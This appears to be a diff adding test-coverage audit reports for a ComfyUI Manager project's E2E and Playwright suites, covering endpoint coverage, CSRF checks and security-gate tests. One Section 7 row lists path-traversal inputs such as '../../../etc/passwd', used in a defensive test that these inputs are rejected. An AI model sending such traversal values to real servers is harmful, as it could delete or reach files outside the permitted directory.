- **LGU2**, **LPP2** → **NORMAL-legacy**: registered ONLY in `legacy/manager_server.py` (L1502, L1522). Testing needs `start_comfyui_legacy.sh` fixture — follow-up `test_e2e_secgate_legacy_default.py` is the natural home.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` | POST `/v2/comfyui_manager/comfyui_switch_version` with `ver`, `client_id`, `ui_id` (at default security_level) | Goal CV4 — comfyui_switch_version below `high+` | `status_code == 403`. The `ver` query is syntactically valid so the request WOULD reach the Pydantic validation step IF the gate were broken; since the gate is the FIRST check in the handler, 403 must precede any 400-from-validation outcome. |
---
# Section 2 — Playwright UI Tests
All Playwright tests require ComfyUI running with `--enable-manager-legacy-ui` on PORT (default 8199).
## tests/playwright/legacy-ui-manager-menu.spec.ts (5 tests)
Covers the Manager Menu dialog and its settings dropdowns.
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `Manager Menu Dialog > opens via Manager button and shows 3-column layout` | (indirect: initial page + legacy UI detection) | Menu dialog opens | `#cm-manager-dialog` visible; "Custom Nodes Manager", "Model Manager", "Restart" buttons present |
| `> shows settings dropdowns (DB, Channel, Policy)` | (UI) | DB + Policy combos render | Both `<select>` elements visible |
| `> DB mode dropdown round-trips via API` | GET/POST db_mode | UI dropdown change → backend persists | selectOption → verify via GET → restore |
| `> Update Policy dropdown round-trips via API` | GET/POST policy/update | Policy change via UI | selectOption → verify GET → restore |
| `> closes and reopens without duplicating` | (UI only) | Dialog lifecycle | No duplicate dialog instances |
## tests/playwright/legacy-ui-custom-nodes.spec.ts (5 tests)
Covers the Custom Nodes Manager dialog (TurboGrid-based list).
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `Custom Nodes Manager > opens from Manager menu and renders grid` | GET customnode/getlist (legacy), customnode/getmappings | Grid render | `#cn-manager-dialog` + `.tg-body` visible |
| `> loads custom node list (non-empty)` | GET customnode/getlist | Data load | rows > 0 after polling |
| `> filter dropdown changes displayed nodes` | (client-side filter) | "Installed" filter | filtered count ≤ initial count |
| `> search input filters the grid` | (client-side filter) | Search term | filtered count ≤ initial |
| `> footer buttons are present` | (UI) | Install via Git URL / Restart buttons | At least one present |
## tests/playwright/legacy-ui-model-manager.spec.ts (4 tests)
Covers Model Manager dialog.
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `Model Manager > opens from Manager menu and renders grid` | GET externalmodel/getlist (legacy) | Grid render | `#cmm-manager-dialog` + grid visible |
| `> loads model list (non-empty)` | GET externalmodel/getlist | Data load | rows > 0 |
| `> search input filters the model grid` | (client-side filter) | Search | filtered ≤ initial |
| `> filter dropdown is present with expected options` | (UI) | Filter options | options.length > 0 |
## tests/playwright/legacy-ui-snapshot.spec.ts (3 tests)
Covers Snapshot Manager dialog.
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `Snapshot Manager > opens snapshot manager from Manager menu` | (UI) | Dialog opens | `#snapshot-manager-dialog` present |
| `> lists existing snapshots` | GET snapshot/getlist | List loads | resp.ok + `items` property |
| `> save snapshot via API and verify in list` | POST snapshot/save + GET snapshot/getlist + POST snapshot/remove | Save→verify→cleanup | items.length > 0 after save; remove cleanup |
## tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
Covers dialog navigation lifecycle. Stage2 WI-F deleted two prior tests (`API health check while dialogs are open`, `system endpoints accessible from browser context`) because they exercised `page.request.*` direct API calls with no real UI interaction — coverage is now owned by `test_e2e_system_info.py::test_version_*` and related pytest suites.
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `Dialog Navigation > Manager menu → Custom Nodes → close → Manager still visible` | (UI) | Nested dialog navigation | Manager menu reopens after child close |
| `> Manager menu → Model Manager → close → reopen` | (UI) | Close and reopen Model Manager | Dialog reappears |
## tests/playwright/legacy-ui-install.spec.ts (2 tests)
Covers UI-driven install/uninstall effect verification against the test pack `ComfyUI_SigmoidOffsetScheduler`. Primary action is always a UI button click; `page.request` is used only for setup (queue/reset baseline, optional API pre-install in LB2) and effect-observation (queue/status polling, installed-list lookup) — consistent with the hybrid UI-action + backend-effect pattern in `legacy-ui-snapshot.spec.ts::SS1`.
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `UI-driven install/uninstall > LB1 Install button triggers install effect` | (UI) Custom Nodes Manager dialog → filter "Not Installed" → search pack → row Install button → version "Select" button; GET /v2/manager/queue/status (effect polling), GET /v2/customnode/installed (effect verification) | User initiates install from Custom Nodes dialog | `isPackInstalled === true` after queue drains via `waitForAllDone` |
| `UI-driven install/uninstall > LB2 Uninstall button triggers uninstall effect` | (UI) Custom Nodes Manager dialog → filter "Installed" → search pack → row Uninstall button → optional confirm dialog; GET /v2/manager/queue/status, GET /v2/customnode/installed | User initiates uninstall from Custom Nodes dialog (preconditioned by API install if pack absent) | `isPackInstalled === false` after queue drains |
## tests/playwright/debug-install-flow.spec.ts (1 test)
Debug/instrumentation test — captures the install API flow for documentation.
| Test | Endpoint(s) exercised | Scenario | Assertion semantics |
|---|---|---|---|
| `capture install button API flow` | GET customnode/getlist, POST queue/batch (legacy), GET customnode/versions/{id}, WebSocket cm-queue-status | End-to-end install UI flow capture | No assertions — logs API sequence + WebSocket frames for manual review |
---
# Section 3 — Endpoint Coverage Summary
## Glob v2 endpoints covered (27/30)
| Endpoint | Covered by |
|---|---|
| POST queue/task (install) | test_e2e_endpoint, test_e2e_git_clone, test_e2e_task_operations |
| POST queue/task (update/fix/disable/enable/uninstall) | test_e2e_endpoint, test_e2e_task_operations |
| GET queue/history_list | test_e2e_queue_lifecycle |
| GET queue/history | test_e2e_queue_lifecycle, test_e2e_task_operations |
| GET customnode/getmappings | test_e2e_customnode_info |
| GET customnode/fetch_updates | test_e2e_customnode_info (deprecated 410) |
| POST queue/update_all | test_e2e_task_operations |
| GET is_legacy_manager_ui | test_e2e_system_info, playwright legacy-ui-navigation |
| GET customnode/installed | test_e2e_endpoint, test_e2e_customnode_info |
| GET snapshot/getlist | test_e2e_snapshot_lifecycle, playwright legacy-ui-snapshot |
| POST snapshot/remove | test_e2e_snapshot_lifecycle |
| GET snapshot/get_current | test_e2e_snapshot_lifecycle |
| POST snapshot/save | test_e2e_snapshot_lifecycle, playwright legacy-ui-snapshot |
| POST customnode/import_fail_info | test_e2e_customnode_info |
| POST customnode/import_fail_info_bulk | test_e2e_customnode_info |
| POST queue/reset | test_e2e_queue_lifecycle, test_e2e_task_operations |
| GET queue/status | test_e2e_queue_lifecycle, test_e2e_task_operations |
| POST queue/start | test_e2e_endpoint, test_e2e_task_operations |
| POST queue/update_comfyui | test_e2e_task_operations |
| GET comfyui_versions | test_e2e_version_mgmt |
| POST comfyui_switch_version | test_e2e_version_mgmt (negative only) |
| POST queue/install_model | test_e2e_task_operations |
| GET/POST db_mode | test_e2e_config_api, playwright legacy-ui-manager-menu |
| GET/POST policy/update | test_e2e_config_api, playwright legacy-ui-manager-menu |
| GET/POST channel_url_list | test_e2e_config_api |
| POST manager/reboot | test_e2e_system_info |
| GET manager/version | test_e2e_system_info, playwright legacy-ui-navigation |
## CSRF Method-Reject Contract
Separate from the positive-path coverage above, the 16 state-changing POST
endpoints (glob) + 13 (legacy, with queue/batch substitution) plus 11
read-only GET endpoints per server are independently verified for their
CSRF-mitigation contract (commit 99caef55, CVSS 8.1). Coverage is split
across two files because server loading is mutex on `--enable-manager-legacy-ui`:
**Glob server** — `tests/e2e/test_e2e_csrf.py`:
| Contract | Tests | Coverage |
|---|---|---|
| 13 POST endpoints must reject HTTP GET (glob; post-WI-HH) | TestStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
| POST counterparts must work (glob sanity) | TestCsrfPostWorks (queue/reset, snapshot/save) | ~ spot-check |
| 11 read-only GET endpoints must still allow GET (glob negative control) | TestCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
**Legacy server** (WI-FF) — `tests/e2e/test_e2e_csrf_legacy.py`:
| Contract | Tests | Coverage |
|---|---|---|
| 13 POST endpoints must reject HTTP GET (legacy; queue/task→queue/batch; dual-purpose endpoints scoped to ALLOW-GET only) | TestLegacyStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
| POST counterparts must work (legacy sanity) | TestLegacyCsrfPostWorks (queue/reset, snapshot/save) | ~ spot-check |
| 11 read-only GET endpoints must still allow GET (legacy negative control) | TestLegacyCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
Note: this contract is NEGATIVE-assertion (must-reject) + negative-control.
Do NOT interpret CSRF-suite PASS as "CSRF fully solved" — both suites
explicitly scope themselves to the method-conversion layer only. The
legacy suite closes the gap where a reverted `@routes.post` → `@routes.get`
in `legacy/manager_server.py` would have slipped past CI.
## Glob v2 endpoints NOT covered
| Endpoint | Reason |
|---|---|
| POST snapshot/restore | Intentionally skipped (destructive — alters node state) |
| POST comfyui_switch_version (positive) | Intentionally skipped (destructive — alters ComfyUI version) |
| (none otherwise missing) | — |
## Legacy-only endpoints covered
| Endpoint | Covered by |
|---|---|
| POST queue/batch | playwright debug-install-flow (indirect — triggered via Install UI) |
| GET customnode/getlist | playwright legacy-ui-custom-nodes (indirect) |
| GET externalmodel/getlist | playwright legacy-ui-model-manager (indirect) |
## Legacy-only endpoints NOT covered
| Endpoint | Reason |
|---|---|
| GET /customnode/alternatives | Not invoked by legacy UI flows tested |
| GET customnode/versions/{node_name} | Tested indirectly via install version dialog (debug-install-flow) but no direct assertion |
| GET customnode/disabled_versions/{node_name} | No direct test |
| POST customnode/install/git_url | High+ security, destructive; not in UI flow |
| POST customnode/install/pip | High+ security, destructive |
| GET manager/notice | Removed in recent work; legacy only |
---
*End of Report B*
+629
View File
@@ -0,0 +1,629 @@
# E2E Verification Condition Audit
**Generated**: 2026-04-18
**Method**: For each E2E test function, compare its actual assertions against the required verification items from `verification_design.md`.
**Verdict categories**:
- **✅ PASS** — verification adequate; matches design Goal
- **⚠️ WEAK** — covers core but misses key assertions (effect proof, negative checks, side effects)
- **❌ INADEQUATE** — verification insufficient (status-only, or missing the actual intent)
- **N/A** — outside verification_design scope (e.g., CLI tests)
---
# Section 1 — tests/e2e/test_e2e_endpoint.py (4 tests)
| Test | Design Goal | Verdict | Actual assertions | Issues |
|---|---|---|---|---|
| `TestEndpointInstallUninstall::test_install_via_endpoint` | A1 (Install CNR pack) | ✅ PASS | `_pack_exists` + `_has_tracking` | Meets effect requirement |
| `test_installed_list_shows_pack` | IL1 (Installed list current) | ✅ PASS | cnr_id match in response dict | Effect verified via API |
| `test_uninstall_via_endpoint` | U1 (Remove pack) | ✅ PASS | Wave1 WI-N: FS check + API cross-check — asserts cnr_id ABSENT from GET /v2/customnode/installed. Defeats cache-invalidation regressions where FS delete succeeds but the installed-index still reports the pack. |
| `test_startup_resolver_ran` | (log assertion) | N/A | Log file contains specific strings | Not HTTP verification; ComfyUI startup side check |
**File verdict**: 3/4 ✅, 0/4 ⚠️, 1/4 N/A (WI-MM removed 3 B1/B5 rows: `test_installed_list_after_uninstall` subsumed by the WI-N-strengthened `test_uninstall_via_endpoint`, `test_install_uninstall_cycle` subsumed by the concat of ci-001/002/003, `test_comfyui_started` subsumed by `_start_comfyui`'s /system_stats readiness poll.)
---
# Section 2 — tests/e2e/test_e2e_git_clone.py (3 tests)
| Test | Design Goal | Verdict | Actual assertions | Issues |
|---|---|---|---|---|
| `test_01_nightly_install` | A2 (Install nightly via URL) | ✅ PASS | Wave1 WI-N: pack_exists + `.git/` dir + parses `.git/config` and asserts `[remote "origin"] url` matches REPO_TEST1 (tolerant of `.git` suffix variants). Defeats "wrong-repo clone" regression. |
| `test_02_no_module_error` | A2 negative check | ✅ PASS | log NOT contains ModuleNotFoundError | Negative check correct |
| `test_03_nightly_uninstall` | U1 (Uninstall nightly) | ✅ PASS | Wave1 WI-N: FS check + API cross-check — asserts PACK_TEST1 absent from installed-list keys + defensive cnr_id/aux_id traversal to catch schema-variation regressions. |
**File verdict**: 3/3 ✅ (Wave1 WI-N upgraded test_01_nightly_install A2 + test_03_nightly_uninstall U1)
---
<!-- Section 3 (tests/e2e/test_e2e_uv_compile.py) was relocated to tests/cli/test_uv_compile.py
in WI-PP. The 8 functions were CLI-subprocess integration tests (cm-cli --uv-compile),
not HTTP/UI E2E, and are now tracked outside this audit's scope. See CHANGELOG: WI-PP. -->
# Section 4 — tests/e2e/test_e2e_config_api.py (9 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_read_db_mode` | C1 (GET db_mode) | ✅ PASS | Response in enum set |
| `test_set_and_restore_db_mode` | C2 (POST persistence) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified |
| `test_read_update_policy` | C1 (policy) | ✅ PASS | Response in enum set |
| `test_set_and_restore_update_policy` | C2 (policy persistence) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified |
| `test_read_channel_url_list` | C4 (channel list) | ✅ PASS | Shape verified |
| `test_channel_list_entries_are_name_url_strings` | C4 format | ✅ PASS | "name::url" format |
| `test_set_and_restore_channel` | C5 (switch channel) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified. Retained as separate function (not merged with db_mode/policy roundtrip) — the channel_url_list endpoint carries URL↔NAME asymmetry that makes a single parametrized body a branch-soup; WI-NN Cluster 1 skipped this merge and only applies Clusters 2+3. |
| `test_malformed_body_returns_400` (parametrized ×3: db_mode / update_policy / channel_url_list) | C3 (malformed JSON) | ✅ PASS | WI-NN Cluster 2 (bloat teng:ci-003/008/015 B9): consolidates the 3 previously-separate `test_set_*_invalid_body` tests into one parametrized function. Each invocation asserts 400 + config.ini unchanged via `_assert_config_ini_contains`. |
| `test_junk_value_rejected` (parametrized ×3: db_mode / update_policy / channel_url_list) | C3 (whitelist reject) | ✅ PASS | WI-NN Cluster 3 (bloat teng:ci-004/009/014 B9): consolidates the 3 previously-separate whitelist-reject tests. For db_mode/policy (static whitelist) the on-disk value must remain in the valid-values set; for channel (dynamic whitelist) the API-level NAME + disk URL must be unchanged. |
**File verdict**: 9/9 ✅ (WI-Z Y3 + WI-MM produced the 13-row baseline. WI-NN parametrized Clusters 2 (invalid-body) + 3 (junk-value) — 6 source tests → 2 parametrized functions (still 6 invocations; audit counts rows by function). Count: 13→9. Cluster 1 (roundtrip) was skipped due to channel URL↔NAME asymmetry.)
**Common gap**: RESOLVED via WI-E (disk-persistence helper) + WI-G (propagation to all 6 prior-WEAK tests) + WI-I (whitelist enforcement for db_mode / policy / channel). Every POST test now asserts both **config.ini file mutation on disk** and **survive-restart persistence** (positive path) or **config UNCHANGED on disk** (negative path). Whitelist rejection of unknown enum values is exercised end-to-end across all three config endpoints.
---
# Section 5 — tests/e2e/test_e2e_customnode_info.py (10 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_getmappings_returns_dict` | CM1 | ✅ PASS | Wave1 WI-M: non-empty DB check (>=100 entries) + per-entry schema sample (first 5 entries must be `[node_list: list, metadata: dict]`). Defeats empty-DB regression. |
| `test_fetch_updates_returns_deprecated` | FU1 | ✅ PASS | 410 + deprecated:true |
| `test_installed_returns_dict` | IL1 | ✅ PASS | Wave1 WI-M: asserts E2E seed pack `ComfyUI_SigmoidOffsetScheduler` is present AND its entry carries the documented InstalledPack fields (cnr_id/ver/enabled). |
| `test_installed_imported_mode` | IL2 | ✅ PASS | Wave3 WI-T Cluster G target 4 (research-cluster-g.md Strategy A): asserts (a) 200 + dict, (b) seed pack `ComfyUI_SigmoidOffsetScheduler` present, (c) each entry carries the documented InstalledPack schema (cnr_id/ver/enabled), (d) frozen-at-startup invariant (cheap form) — imported keys == default keys at test time (no mid-session install). WI-OO Item 4 (bloat reviewer:ci-013 B7) removed the skip-masked `test_imported_mode_is_frozen_after_install` stub-companion — without an implemented install trigger between the two GETs, `snap_before == snap_after` held trivially. True frozen-vs-live-and-equal coverage (Strategy B) remains an E2E-DEBT for a future WI that wires the mid-session install. |
| `test_unknown_cnr_id_returns_400` | IF2 | ✅ PASS | 400 verified |
| `test_missing_fields_returns_400` | IF3 | ✅ PASS | 400 verified |
| `test_invalid_body_returns_error` | IF3 (non-dict) | ✅ PASS | 400 verified |
| `test_bulk_with_cnr_ids_returns_dict` | IFB1 | ✅ PASS | null for unknown verified |
| `test_bulk_empty_lists_returns_400` | IFB2 | ✅ PASS | 400 verified |
| `test_bulk_with_urls_returns_dict` | IFB1 | ✅ PASS | Wave1 WI-M: asserts per-url result — requested URL is a key in the response, and its value is either None (unknown URL, expected here) or a dict (populated fail-info). Defeats schema-violation regressions. |
**File verdict**: 10/10 ✅ (Wave1 WI-M upgraded 3 rows: test_getmappings_returns_dict, test_installed_returns_dict, test_bulk_with_urls_returns_dict. Wave3 WI-T upgraded test_installed_imported_mode IL2 — Strategy A cheap invariant + Strategy B [E2E-DEBT] skip-companion. WI-MM removed `test_getmappings_entries_have_node_lists` (bloat-sweep reviewer:ci-009 B1) — the strengthened `test_getmappings_returns_dict` now checks the first 5 entries' `[node_list, metadata]` schema, so this row's entry[0]-as-list assertion is a strict subset. Count: 11→10.)
**Key gap**: IF1 (positive path — known failed pack returning info) NOT tested. [E2E-DEBT] — Strategy B ("frozen vs live-and-coincidentally-equal") requires a mid-session install trigger; the previous skip-masked `test_imported_mode_is_frozen_after_install` stub was removed in WI-OO Item 4 because the TODO had never been implemented and the skipped body proved nothing. Register a future WI to wire the install step and re-add the test.
---
# Section 6 — tests/e2e/test_e2e_queue_lifecycle.py (7 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_reset_queue` | R1 | ✅ PASS | Wave1 WI-L: now verifies post-reset queue/status payload — all 4 counters (pending/in_progress/total/done) == 0 AND is_processing is False. Catches reset-handler regressions and cross-module state leak. |
| `test_status_with_client_id_filter` | QS2 | ✅ PASS | client_id echo verified |
| `test_start_queue_already_idle` | S1/S2 | ✅ PASS | Wave1 WI-L: polls queue/status for up-to-10s after POST /queue/start and asserts worker stabilizes to idle (pending==0, in_progress==0, is_processing==False). Defeats hot-loop regressions where start_worker() spawns a thread that never exits on empty queue. |
| `test_queue_task_and_history` | A1 + QH3 | ✅ PASS | done_count polling + history accepted |
| `test_history_with_ui_id_filter` | QH3 | ✅ PASS | Wave3 WI-T Cluster C target 1: discovers an existing ui_id via unfiltered call (seeds lightweight install if history empty), then asserts every entry in the filtered response matches that ui_id. Shape-resilient extractor handles `{ui_id: task}` maps and task-dict-directly variants. Defeats regressions where the server accepts the param but returns unfiltered history. |
| `test_history_with_pagination` | QH3 pagination | ✅ PASS | Wave3 WI-T Cluster C target 2: verifies max_items cap (max_items=1 → len≤1), no silent truncation (max_items ≥ full_count → len == full_count), and offset progression (offset=0 vs offset=1 return different keys when ≥2 entries exist). |
| `test_history_list` | QHL1 | ✅ PASS | Wave3 WI-T Cluster C target 3: cross-references API response with filesystem `user/__manager/batch_history/*.json` — set equality between API `ids` and the basenames (sans `.json`) of JSON files on disk. No phantom ids, no missing ids. |
**File verdict**: 7/7 ✅ (Wave1 WI-L upgraded 2 rows — test_reset_queue, test_start_queue_already_idle. Wave3 WI-T Cluster C upgraded 3 rows — test_history_with_ui_id_filter QH3 filter-semantic, test_history_with_pagination QH3 cap + consistency + offset, test_history_list QHL1 API↔FS set equality. WI-MM removed 2 B1/B8 rows: `test_status_after_reset` (weaker subset of the WI-L-strengthened `test_reset_queue`, bloat-sweep teng:ci-017) and `test_final_reset_and_clean_state` (subset of ci-016 + misleading 'final' name — pytest test order is not guaranteed, bloat-sweep teng:ci-024). Count: 9→7.)
**Key gaps**: `test_history_path_traversal_rejected` (QH2 path traversal) is present in the file and passing. Remaining gap: no batch-id retrieval positive-path test (GET /v2/manager/queue/history?id=<batch_id>).
---
# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_get_current_snapshot` | SG1 | ✅ PASS | Wave1 WI-M: asserts documented top-level schema (comfyui / git_custom_nodes / cnr_custom_nodes / file_custom_nodes / pips) AND cross-references installed FS state — seed pack `ComfyUI_SigmoidOffsetScheduler` on disk → must also appear in `cnr_custom_nodes` dict. |
| `test_save_snapshot` | SS1 | ✅ PASS | Wave2 WI-Q: verifies (a) new *.json file appears on disk under SNAPSHOT_DIR via os.listdir diff + file parses as JSON dict, AND (b) saved file's `cnr_custom_nodes` dict matches live GET /v2/snapshot/get_current response (pack_name → version). Catches regressions that write stale/stub snapshots while 200 OK. |
| `test_getlist_after_save` | SS1 + SL1 | ✅ PASS | items.length>0 verifies save effect |
| `test_remove_snapshot` | SR1 | ✅ PASS | Target absent + count decremented |
| `test_remove_nonexistent_snapshot` | SR2 | ✅ PASS | 200 no-op |
| `test_remove_path_traversal_rejected` | SR3 | ✅ PASS | WI-Z Y1 (resolves prior SR3 Key gap): POST `/v2/snapshot/remove` with path-traversal targets (`../../_sentinel_must_not_delete`, `../../../etc/passwd`, `/etc/passwd`) must return 400; a sentinel file outside the snapshot dir must remain untouched after the attempts. Security boundary test — enforces that `target` stays within snapshot dir. |
| ~~`test_get_current_returns_dict`~~ | ~~SG1~~ | ~~REMOVED~~ | Wave1 WI-M dedup: deleted — was a strict subset of the strengthened `test_get_current_snapshot` above. Row removed; file count 7→6 for §7. |
| `test_getlist_items_are_strings` | SL1 | ✅ PASS | Item type verified |
**File verdict**: 7/7 ✅ (Wave1 WI-M: upgraded test_get_current_snapshot SG1 + dedup-removed test_get_current_returns_dict; file count 7→6. Wave2 WI-Q: upgraded test_save_snapshot SS1 — adds file-on-disk glob + saved-content cross-reference with GET /v2/snapshot/get_current on `cnr_custom_nodes`. WI-Z Y1: recorded existing `test_remove_path_traversal_rejected` (source L300–L328), resolving prior SR3 Key gap; file count 6→7.)
**Key gaps**:
- ~~**SR3** (path traversal on remove) — NORMAL add (Priority 🔴 per §Priority Fixes).~~ **RESOLVED (WI-Z Y1)**: covered by `test_remove_path_traversal_rejected` above.
- ~~**SR4** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.~~ **RESOLVED (WI-LL via WI-KK PoC)**: covered by `test_e2e_secgate_strict.py::TestSecurityGate403_SR4::test_remove_returns_403` — see §20. Harness: `start_comfyui_strict.sh` + module-scoped fixture with config.ini backup/restore.
- **SR5** (restore — `restore-snapshot.json` marker file for next reboot) — T1 DESTRUCTIVE-SAFE: marker-file observation is safely testable without rebooting; design L355-359 specifies this observable exactly. Reclassify from "NOT tested" to **NORMAL add**.
- **SR6** (restore security gate) — T2 SECGATE-PENDING.
---
# Section 8 — tests/e2e/test_e2e_system_info.py (4 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_version_returns_string` | V1 | ✅ PASS | Non-empty string |
| `test_version_is_stable` | V1 idempotent | ✅ PASS | Consecutive equality |
| `test_returns_boolean_field` | V2 | ✅ PASS | Wave3 WI-T Cluster G target 5 (research-cluster-g.md Target 2): strengthened from `isinstance(bool)` to exact-value `is False`. Launcher-deterministic — `start_comfyui.sh` passes only `--cpu --enable-manager --port`, NO `--enable-manager-legacy-ui`, so handler's `args.enable_manager_legacy_ui` defaults to False. Fails loudly if the E2E launcher ever changes. |
| `test_reboot_and_recovery` | V3 | ✅ PASS | Healthcheck recovery + post-version match |
**File verdict**: 4/4 ✅ (Wave3 WI-T Cluster G upgraded test_returns_boolean_field V2 — exact-value launcher-deterministic `is False` assertion.)
**Key gaps**:
- **V4** (COMFY_CLI_SESSION mode) — T1 DESTRUCTIVE-SAFE: design L436-439 observable is `.reboot` marker file + exit code 0 under env-var fixture; safely testable. Reclassify from "NOT tested" to **NORMAL add**.
- **V5** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.
---
# Section 9 — tests/e2e/test_e2e_task_operations.py (13 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_disable_pack` | D1 | ✅ PASS | _pack_exists(False) + _pack_disabled(True) |
| `test_enable_pack` | E1 | ✅ PASS | _pack_exists(True) + !_pack_disabled |
| `test_update_installed_pack` | UP1 | ✅ PASS | Wave2 WI-P: .tracking mtime monotonic check + API `installed[pack].ver` well-formed semver assertion. The update handler is design-level no-op when the installed version is ≥ requested (CNR protects against downgrade), so strict mtime-advance is RELAXED to monotonic and the API contract is the real verification — proves the post-update installed-index is not corrupted. |
| `test_fix_touches_pack_and_preserves_tracking` | F1 | ✅ PASS | Wave2 WI-P: preserves existing invariants (non-destructive, .tracking survives, mtime monotonic) + adds dep-existence cross-check via `pip show` on declared requirements.txt entries. Seed pack has no declared deps — branch falls through to explicit no-deps assertion (non-silent). |
| `test_history_records_task_content` (parametrized ×2: update / fix) | UP1 + F1 observability | ✅ PASS | WI-NN Cluster 4 (bloat teng:ci-030/ci-032 B9): consolidates `test_update_history_recorded` + `test_fix_history_recorded` into one parametrized function over `(ui_id, kind)`. Each invocation verifies `kind` match + `ui_id` match + conditional `params.node_name` (Wave3 WI-W resolved the TaskHistoryItem schema gap). Placed in a new `TestHistoryRecorded` class after TestUpdatePack+TestFixPack so pytest collection order preserves the seed requirement. |
| `test_install_model_accepts_valid_request` | IM1 | ✅ PASS | Upgraded to effect-verifying (Stage2 WI-D): (a) delta assertion on queue/status total_count, (b) bounded polling for is_processing OR done_count advance after /queue/start, (c) optional queue/history trace. Download completion explicitly out of E2E scope per test docstring (enqueue + worker pickup is the E2E observable contract). |
| `test_install_model_missing_required_field` (parametrized ×2: missing-client_id / missing-ui_id) | IM2 | ✅ PASS | WI-NN Cluster 6 (bloat teng:ci-034/ci-035 B9): consolidates the two missing-field tests into one parametrized function that strips the named field from the full valid body and asserts 400. |
| `test_install_model_invalid_body` | IM2 | ✅ PASS | 400 verified |
| `test_update_all_queues_tasks` | UA1 | ✅ PASS | Wave2 WI-P reclassify: test was ALREADY strong pre-WI-P — captures `active_packs` count from installed list before POST, asserts post-POST `queue/status.total_count >= max(1, active_packs - 1)` (the -1 tolerates the comfyui-manager self-skip on desktop builds). Matches UA1 design goal for enqueue-count vs active-node correspondence. |
| `test_update_all_missing_params` | UA3 | ✅ PASS | 400 verified |
| `test_update_comfyui_queues_task` | UC1 | ✅ PASS | total_count>=1 verified |
| `test_update_comfyui_missing_params` | UC1 | ✅ PASS | 400 |
| `test_update_comfyui_with_stable_flag` | UC2 | ✅ PASS | Wave2 WI-P: status 200 + queue enqueue + `/queue/start` trigger + wait-for-idle + history content verification (`kind=='update-comfyui'` + `ui_id` match). Wave3 WI-W: TaskHistoryItem now serializes `params` (oneOf nullable) → assertion `params.is_stable is True` runs unconditionally; pytest.skip removed. |
**File verdict**: 13/13 ✅, 0/13 ⚠️, 0/13 ❌ (Wave2 WI-P upgraded 6 rows. WI-MM removed `test_disable_enable_cycle` (teng:ci-028 B1). WI-NN Clusters 4+6 parametrized 4 tests → 2 parametrized functions (still 4 invocations). Net count progression: 16→15 (WI-MM) → 13 (WI-NN).)
**Key gaps**:
- ~~install_model: **no effect verification** (critical — status-only)~~ — RESOLVED (Stage2 WI-D): upgraded to delta total_count + worker-observation polling + optional history trace; download-completion scoped out as non-E2E.
- ~~update: no version-change verification~~ — RESOLVED (Wave2 WI-P): API-ver semver shape + mtime monotonic (handler is design-level no-op for downgrade requests).
- ~~fix: no dependency-restoration verification~~ — RESOLVED (Wave2 WI-P): pip-show-based dep-existence for declared requirements; non-silent fallback when pack has no deps.
- ~~update_all: no per-task correctness verification~~ — RESOLVED (Wave2 WI-P reclassify): pre-existing active_packs cross-check was already strong.
- ~~update_comfyui stable flag: no params verification~~ — RESOLVED (Wave2 WI-P → Wave3 WI-W): Wave2 added history content verification with explicit pytest.skip when TaskHistoryItem schema dropped params; Wave3 closed the schema gap by adding `params` (oneOf nullable, mirrors QueueTaskItem.params) to the OpenAPI spec + populating it in `task_done()`. The assertion `params.is_stable is True` now runs unconditionally.
---
# Section 10 — tests/e2e/test_e2e_version_mgmt.py (3 tests)
| Test | Design Goal | Verdict | Issues |
|---|---|---|---|
| `test_versions_response_contract` | CV1 (full contract) | ✅ PASS | WI-NN Cluster 7 (bloat dbg:ci-013/014/015/016 B9/B1): merges 4 previously-separate GETs into one contract block — status + top-level schema (versions list, current string), versions non-empty, every entry is a string, current ∈ versions. Same GET executed once instead of four times. |
| `test_switch_version_missing_required_params_rejected` (parametrized ×2: no-params / partial-params-ver-only) | CV5 | ✅ PASS | WI-OO Item 5 (bloat dbg:ci-018 B9+B1): consolidates `test_switch_version_missing_all_params` + `test_switch_version_missing_client_id`. The high+ gate returns 403 BEFORE any param validation at default `security_level=normal`, so both inputs (empty POST, partial `ver`-only POST) exercise the same rejection path. Parametrized over both inputs as distinct invocations for diagnostics. |
| `test_switch_version_validation_error_body` | CV5 | ✅ PASS | Wave1 WI-L: asserts full Pydantic error schema — exact `error == "Validation error"` sentinel, non-empty `details` list, and each detail entry carries the canonical `loc`/`msg`/`type` triplet. Defeats fall-through to the generic `except Exception` branch (empty 400 body). Skipped when security_level < 'high+' (pre-existing guard). |
**File verdict**: 3/3 ✅ (Wave1 WI-L upgraded test_switch_version_validation_error_body; WI-NN Cluster 7 merged 4→1 (versions_response_contract); WI-OO Item 5 parametrized 2→1 (missing_required_params_rejected). Count progression: 7→4 (WI-NN) → 3 (WI-OO).)
**Key gaps**:
- **CV3** (positive success — queue update-comfyui with target_version) — T1 DESTRUCTIVE-SAFE: design L458-463 requires verification of the queued task params (`params.target_version == X`), NOT the destructive switch itself. The queued-task artifact IS safely observable. Reclassify from "accepted N/A" to **NORMAL add** with assertion on `queue/status.items[*].params.target_version == X`.
